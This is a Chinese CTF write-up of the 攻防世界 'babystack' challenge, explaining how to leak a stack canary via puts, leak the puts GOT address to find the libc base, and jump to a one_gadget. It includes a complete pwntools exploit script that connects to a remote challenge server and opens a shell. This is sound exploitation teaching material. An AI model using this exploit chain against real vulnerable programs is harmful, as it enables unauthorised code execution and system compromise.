CTF中的PWN——繞canary防護3(puts帶出canary 泄露函數地址計算基地址)

前言:

    想要學好pwn,首先要看懂wp。此題斷斷續續佔用了我兩三天,原諒我太菜了。此題爲攻防世界的babystack。金絲雀前文敘述過,此處不再闡述,繞過的首選辦法就是想辦法得到canary的值,因爲程序每次load的時候canary都不同,但是一個進程中的所有方法的金絲雀的值都相同。得到canry的值後構造payload即可。

題目:babystack-攻防世界

    file及checksec查看軟件詳細信息:

軟件詳細信息

    可以看到軟件爲64bit,PIE剩下的防護都開了,將程序放入IDA64靜態分析:
 

    分析一下main函數,可以看到選項1爲向&s位置讀入最大0x100存儲單元的功能,選項2爲通過puts函數輸出&s位置的值,而選項3的作用是返回,注意:一般返回的選項都是爲了觸發return,就是pop eip進而執行payload中的關鍵函數或其他功能。顯而易見選項1中的read函數存在棧溢出漏洞。

 

 

     canary值得地址爲rbp - 8,這裏第一個知識點,通過puts(&s)函數可以將canary的值“帶出來”,輸入點距離canary爲0x88,即輸入0x88個存儲單元后後面的就是canary,一般canary最後爲\x00,此方法可得到canary的值。而方法中無system等函數,在libc中查找文件中關鍵函數的offset即可,本文使用one_gadget工具查找:

    找到execve("/bin/sh") 在libc中的偏移量後需要通過泄露puts地址來計算libc的基地址,puts的真實地址存在puts@got表中,函數在libc文件中。可以通過puts函數泄露puts的地址然後計算加載的libc文件的基地址,最後計算execve("/bin/sh")的實際地址。payload如下:

from pwn import *

io = remote('111.198.29.45', 33708)
#io = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

rdi_ret = 0x0000000000400a93
# start_addr = elf.symbols['__bss_start']
start_addr = 0x0000000000400720
#start_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
one_gadget = 0x45216

print "========leak canary========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88
io.sendline(payload)
io.sendlineafter(">> ", str(2))
io.recvuntil("a" * 0x88 + '\n')
canary = u64(io.recv(7).rjust(8, '\x00'))
print ("canary=>" +hex(canary))

print "========leak libc_base========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendline(payload)
io.sendlineafter(">> ", str(3))

puts_addr = u64(io.recv(8).ljust(8, '\x00'))
print ("puts_addr=>" +hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + one_gadget

print "========get shell========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(one_gadget) 
io.sendline(payload)
io.sendlineafter(">> ", str(3))

io.interactive()

    腳本執行結果如下: 

總結:

    此題總結幾個知識點:

  1.     puts()函數可泄露金絲雀的地址。
  2.     金絲雀的結尾一般爲\x00,在64bit中,一般爲7位,最後一位爲0。
  3.     p64(got)爲put函數的實際地址,plt爲調用put函數,後面最後加一個main是爲了一次溢出後程序的繼續執行。
  4.     此題用one_gadget查找的gadget,應該system('/bin/sh\x00')也可以。
  5.     在用one_gadget中,第一行的條件是rax=null,而檢查金絲雀之前也將rax置零了。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章